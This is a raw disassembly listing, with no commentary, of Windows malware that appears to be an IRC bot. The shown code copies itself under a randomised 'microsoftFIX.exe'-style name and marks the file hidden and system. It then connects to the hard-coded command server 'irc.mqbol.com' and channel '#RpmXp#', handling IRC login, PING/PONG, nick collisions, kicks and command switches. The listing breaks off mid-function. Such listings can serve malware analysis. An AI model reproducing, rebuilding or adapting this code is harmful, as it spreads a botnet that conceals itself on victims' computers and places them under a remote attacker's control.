		jnz	loc_402D49
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0797h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_417BD0
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_6	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_4172D0
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417B50
		add	esp, 30h
		test	eax, eax
		jnz	loc_402A84
		cmp	dword_436C20, ebx
		mov	esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
		jz	short loc_40290A
		push	esi
		xor	edi, edi
		call	sub_414BE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40290A


loc_4028E7:				; CODE XREF: ___:00402908j
		call	sub_417B10
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte ptr aMicrosoftfix_e[edi], dl ; "microsoftFIX.exe"
		inc	edi
		call	sub_414BE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_4028E7


loc_40290A:				; CODE XREF: ___:004028D7j
					; ___:004028E5j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_7	; "%s\\%s"
		push	eax
		call	sub_4171D0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26B0C38h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40294A
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26B0AE4h
		nop


loc_40294A:				; CODE XREF: ___:00402936j
		mov	esi, dword_4DD2F0
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_402961:				; CODE XREF: ___:00402998j
		call	esi
		test	eax, eax
		jnz	short loc_40299A
		nop
		call	near ptr 26908EFh
		cmp	edi, ebx
		jnz	short loc_40299A
		cmp	eax, 20h
		jz	short loc_40297B
		cmp	eax, 5
		jnz	short loc_40299A


loc_40297B:				; CODE XREF: ___:00402974j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2690599h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_402961
; ---------------------------------------------------------------------------


loc_40299A:				; CODE XREF: ___:00402965j
					; ___:0040296Fj ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_411E5F
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26B0AE4h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_4D3190
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 26B0658h
		nop
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26B0000h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset aSDS_0	; "%s %d \"%s\""
		push	eax
		call	sub_4171D0
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 267039Fh
		test	eax, eax
		jz	short loc_402A84
		push	0C8h
		nop
		call	near ptr 2690599h
		push	dword ptr [ebp-20h]
		mov	esi, dword_4DD2BC
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4452A0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_402A84:				; CODE XREF: ___:004028C6j
					; ___:00402A5Aj
		cmp	dword_4DB0C0, 2
		jle	short loc_402AD0
		mov	eax, dword_4DB0C4
		push	dword ptr [eax+4]
		call	sub_4174D0
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 26B0CCEh
		nop
		push	esi
		nop
		call	near ptr 267009Bh
		mov	eax, dword_4DB0C4
		cmp	[eax+8], ebx
		jz	short loc_402AD0
		push	7D0h
		nop
		call	near ptr 2690599h
		mov	eax, dword_4DB0C4
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A0AF2h


loc_402AD0:				; CODE XREF: ___:00402A8Bj
					; ___:00402AB5j
		cmp	dword_436C24, ebx
		jz	short loc_402AED
		cmp	dword_445418, ebx
		jnz	short loc_402AED
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_402AED:				; CODE XREF: ___:00402AD6j
					; ___:00402ADEj
		lea	eax, [ebp-0A0h]
		push	offset dword_4375FC
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_408E53
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410557
		push	0B80h
		push	ebx
		push	offset dword_445490
		call	sub_417070
		lea	eax, [ebp-0A0h]
		push	offset unk_437618
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_408E53
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_4DD2E0
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset word_41377E
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_446224[esi], eax
		jnz	short loc_402B8D
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_43763C
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_402B8D:				; CODE XREF: ___:00402B70j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410557
		push	2
		call	sub_40909B
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C12
		lea	eax, [ebp-0A0h]
		push	offset dword_43767C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_408E53
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_40EA18
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_446224[esi], eax
		jnz	short loc_402C05
		call	near ptr 26908EFh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4376A8
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_402C05:				; CODE XREF: ___:00402BE8j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_410557
		pop	ecx


loc_402C12:				; CODE XREF: ___:00402BA4j
		call	sub_417B10
		push	7Fh
		and	eax, 3
		push	offset aIrc_mqbol_com ;	"irc.mqbol.com"
		push	offset dword_4D301C
		mov	dword_4D3188, eax
		call	sub_417770
		mov	eax, dword_436C00
		push	3Fh
		mov	edi, offset dword_4D309C
		push	offset aRpmxp	; "#RpmXp#"
		push	edi
		mov	dword_4D316C, eax
		call	sub_417770
		push	3Fh
		mov	esi, offset dword_4D30DC
		push	offset aSend_0	; "send"
		push	esi
		call	sub_417770
		add	esp, 24h
		mov	dword_4D3170, ebx


loc_402C67:				; CODE XREF: ___:00402CEFj
					; ___:00402CFAj ...
		mov	[ebp-4], ebx


loc_402C6A:				; CODE XREF: ___:00402CA3j
		push	offset dword_4D3018
		mov	dword_4D3184, ebx
		call	sub_402D58
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_402D44
		cmp	dword_4D3184, ebx
		jz	short loc_402C91
		dec	dword ptr [ebp-4]


loc_402C91:				; CODE XREF: ___:00402C8Cj
		push	0BB8h
		nop
		call	near ptr 2690599h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_402C6A
		cmp	dword ptr [ebp-10h], 2
		jz	loc_402D44
		cmp	[ebp-0Ch], ebx
		jz	short loc_402CF4
		push	7Fh
		push	offset aIrc_mqbol_com ;	"irc.mqbol.com"
		push	offset dword_4D301C
		call	sub_417770
		mov	eax, dword_436C00
		push	3Fh
		push	offset aRpmxp	; "#RpmXp#"
		push	edi
		mov	dword_4D316C, eax
		call	sub_417770
		push	3Fh
		push	offset aSend_0	; "send"
		push	esi
		call	sub_417770
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_402C67
; ---------------------------------------------------------------------------


loc_402CF4:				; CODE XREF: ___:00402CB2j
		cmp	byte_436C70, bl
		jz	loc_402C67
		push	7Fh
		push	offset byte_436C70
		push	offset dword_4D301C
		call	sub_417770
		mov	eax, dword_436C04
		push	3Fh
		push	offset dword_436C80
		push	edi
		mov	dword_4D316C, eax
		call	sub_417770
		push	3Fh
		push	offset aSend_1	; "send"
		push	esi
		call	sub_417770
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_402C67
; ---------------------------------------------------------------------------


loc_402D44:				; CODE XREF: ___:00402C80j
					; ___:00402CA9j
		call	sub_40901C


loc_402D49:				; CODE XREF: ___:00402833j
					; ___:00402843j
		call	dword_4452A0


loc_402D4F:				; CODE XREF: ___:00402826j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D58	proc near		; CODE XREF: ___:00402C75p

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_402D7D:				; CODE XREF: sub_402D58+E6j
					; sub_402D58+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_445348
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_402561
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_402EAA
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417070
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_436C34
		push	dword_436C30
		push	eax
		call	sub_408B4C
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_446228
		push	edi
		push	eax
		call	sub_417770
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4453C8
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_44621C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402E43
		push	esi
		call	dword_4453E0
		call	sub_40258A
		push	7D0h


loc_402E38:				; CODE XREF: sub_402D58+146j
		nop
		call	near ptr 2690599h
		jmp	loc_402D7D
; ---------------------------------------------------------------------------


loc_402E43:				; CODE XREF: sub_402D58+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4376DC
		call	sub_4105CB
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_402EC0
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4453E0
		test	edi, edi
		jz	loc_402D7D
		cmp	edi, 1
		jnz	short loc_402EA0
		push	0DBBA0h
		jmp	short loc_402E38
; ---------------------------------------------------------------------------


loc_402EA0:				; CODE XREF: sub_402D58+13Fj
		cmp	edi, 2
		jz	short loc_402EAE
		jmp	loc_402D7D
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_402D58+5Aj
		xor	eax, eax
		jmp	short loc_402EBA
; ---------------------------------------------------------------------------


loc_402EAE:				; CODE XREF: sub_402D58+14Bj
		push	[ebp+var_34]
		call	sub_40916F
		pop	ecx
		push	2
		pop	eax


loc_402EBA:				; CODE XREF: sub_402D58+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_402D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EC0	proc near		; CODE XREF: sub_402D58+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_402EDE:				; CODE XREF: sub_402EC0+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_402EDE
		cmp	byte_4D3180, bl
		jz	short loc_402F05
		push	offset byte_4D3180
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_4013FF
		add	esp, 0Ch


loc_402F05:				; CODE XREF: sub_402EC0+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_408B4C
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4171D0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402F6F
		push	[ebp+arg_0]
		call	dword_4453E0
		push	1388h
		call	near ptr 2690599h
		nop


loc_402F68:				; CODE XREF: sub_402EC0+D9j
					; sub_402EC0+153j
		xor	eax, eax


loc_402F6A:				; CODE XREF: sub_402EC0+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_402F6F:				; CODE XREF: sub_402EC0+92j
					; sub_402EC0+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_445360
		test	eax, eax
		jle	short loc_402F68
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_411B48
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_402F6F
		lea	edi, [ebp+var_A90]


loc_402FC0:				; CODE XREF: sub_402EC0+165j
		push	1
		pop	esi


loc_402FC3:				; CODE XREF: sub_402EC0+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_403038
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_403006
		push	7D0h
		nop
		call	near ptr 2690599h
		jmp	short loc_402FC3
; ---------------------------------------------------------------------------


loc_403006:				; CODE XREF: sub_402EC0+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_403030
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40302C
		cmp	esi, 0FFFFFFFFh
		jz	loc_402F68
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_402FC0
		jmp	loc_402F6F
; ---------------------------------------------------------------------------


loc_40302C:				; CODE XREF: sub_402EC0+14Ej
		push	1
		jmp	short loc_403032
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402EC0+149j
		push	2


loc_403032:				; CODE XREF: sub_402EC0+16Ej
		pop	eax
		jmp	loc_402F6A
sub_402EC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403038	proc near		; CODE XREF: sub_402EC0+12Ap

var_1584	= byte ptr -1584h
var_1184	= byte ptr -1184h
var_F84		= byte ptr -0F84h
var_D84		= byte ptr -0D84h
var_C84		= byte ptr -0C84h
var_C80		= byte ptr -0C80h
var_B80		= byte ptr -0B80h
var_B7C		= byte ptr -0B7Ch
var_A7C		= byte ptr -0A7Ch
var_9FC		= byte ptr -9FCh
var_99B		= byte ptr -99Bh
var_99A		= byte ptr -99Ah
var_998		= byte ptr -998h
var_997		= byte ptr -997h
var_98E		= byte ptr -98Eh
var_98C		= byte ptr -98Ch
var_98A		= byte ptr -98Ah
var_989		= byte ptr -989h
var_8FC		= dword	ptr -8FCh
var_8F8		= byte ptr -8F8h
var_7F4		= dword	ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= byte ptr -7ECh
var_770		= byte ptr -770h
var_72C		= dword	ptr -72Ch
var_728		= byte ptr -728h
var_700		= dword	ptr -700h
var_6F8		= byte ptr -6F8h
var_6E8		= byte ptr -6E8h
var_6E4		= byte ptr -6E4h
var_6E0		= dword	ptr -6E0h
var_6DC		= byte ptr -6DCh
var_6A8		= byte ptr -6A8h
var_671		= byte ptr -671h
var_670		= byte ptr -670h
var_668		= byte ptr -668h
var_65C		= byte ptr -65Ch
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= byte ptr -5D8h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= dword	ptr -55Ch
var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= byte ptr -54Ch
var_530		= byte ptr -530h
var_520		= byte ptr -520h
var_510		= byte ptr -510h
var_50C		= dword	ptr -50Ch
var_504		= byte ptr -504h
var_500		= byte ptr -500h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_4E8		= byte ptr -4E8h
var_4E4		= byte ptr -4E4h
var_4A0		= byte ptr -4A0h
var_484		= byte ptr -484h
var_480		= byte ptr -480h
var_474		= byte ptr -474h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F4		= dword	ptr -3F4h
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= byte ptr -38Ch
var_384		= dword	ptr -384h
var_380		= byte ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_348		= byte ptr -348h
var_328		= dword	ptr -328h
var_310		= byte ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_E4		= byte ptr -0E4h
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= dword	ptr -0D4h
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 1584h
		call	sub_417E20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_417070
		push	1Bh
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	eax
		call	sub_417770
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_4034D4
		push	esi
		lea	eax, [ebp+var_F84]
		push	ebx
		push	eax
		call	sub_417070
		dec	esi
		lea	eax, [ebp+var_F84]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_F84]
		push	offset asc_437724 ; " :"
		push	eax
		call	sub_417B50
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F84]
		push	esi
		push	eax
		lea	eax, [ebp+var_1184]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_1184]
		push	offset asc_437728 ; " "
		push	eax
		call	sub_417620
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	esi, [ebp+var_8C]
		push	1Fh
		pop	edi


loc_403103:				; CODE XREF: sub_403038+DEj
		push	offset asc_43772C ; " "
		push	ebx
		call	sub_417620
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_403103
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_4034D4
		cmp	[ebp+var_8C], ebx
		jz	loc_4034D4
		push	100h
		lea	eax, [ebp+var_9FC]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_403150:				; CODE XREF: sub_403038+14Aj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40317C
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_403184
		cmp	[eax+2], bl
		jnz	short loc_403184
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_9FC], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40317C:				; CODE XREF: sub_403038+11Cj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_403150


loc_403184:				; CODE XREF: sub_403038+121j
					; sub_403038+126j
		cmp	[ebp+var_989], bl
		jz	short loc_40318F
		mov	[ebp+var_8], edi


loc_40318F:				; CODE XREF: sub_403038+152j
		cmp	[ebp+var_98E], bl
		jz	short loc_40319D
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40319D:				; CODE XREF: sub_403038+15Dj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_4031D7
		push	7Fh
		lea	eax, [ebp+var_A7C]
		push	esi
		push	eax
		call	sub_417770
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_C0]
		push	offset asc_437730 ; "!"
		push	eax
		call	sub_417620
		add	esp, 20h


loc_4031D7:				; CODE XREF: sub_403038+168j
		push	esi
		push	offset aPing	; "PING"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403228
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_4032CC
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		add	esp, 10h
		jmp	loc_4032CC
; ---------------------------------------------------------------------------


loc_403228:				; CODE XREF: sub_403038+1AEj
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408722
		push	esi
		push	offset a005	; "005"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408722
		push	esi
		push	offset a302	; "302"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403293
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4032CC
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_417770
		add	esp, 0Ch
		jmp	short loc_4032CC
; ---------------------------------------------------------------------------


loc_403293:				; CODE XREF: sub_403038+22Fj
		push	esi
		push	offset a433	; "433"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4032D3
		push	ebx
		push	dword_436C34
		push	dword_436C30
		push	[ebp+arg_10]
		call	sub_408B4C
		push	[ebp+arg_10]
		push	offset aNickS_3	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		add	esp, 1Ch


loc_4032CC:				; CODE XREF: sub_403038+1CFj
					; sub_403038+1EBj ...
		mov	eax, edi
		jmp	loc_4034D7
; ---------------------------------------------------------------------------


loc_4032D3:				; CODE XREF: sub_403038+26Aj
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_C4], 3
		mov	edi, 80h


loc_4032E5:				; CODE XREF: sub_403038+2D2j
		lea	eax, [ebp+var_A7C]
		push	eax
		push	esi
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403302
		mov	[ebp+var_A4], 1


loc_403302:				; CODE XREF: sub_403038+2BEj
		add	esi, edi
		dec	[ebp+var_C4]
		jnz	short loc_4032E5
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4033F9
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_403331:				; CODE XREF: sub_403038+386j
		cmp	[esi], bl
		jz	loc_4033B9
		push	7Fh
		lea	eax, [ebp+var_A7C]
		push	esi
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_C0]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4033B9
		cmp	[ebp+var_84], ebx
		jz	short loc_4033B9
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B9
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_4377B0
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		add	esp, 20h


loc_4033B9:				; CODE XREF: sub_403038+2FBj
					; sub_403038+31Bj ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_403331
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
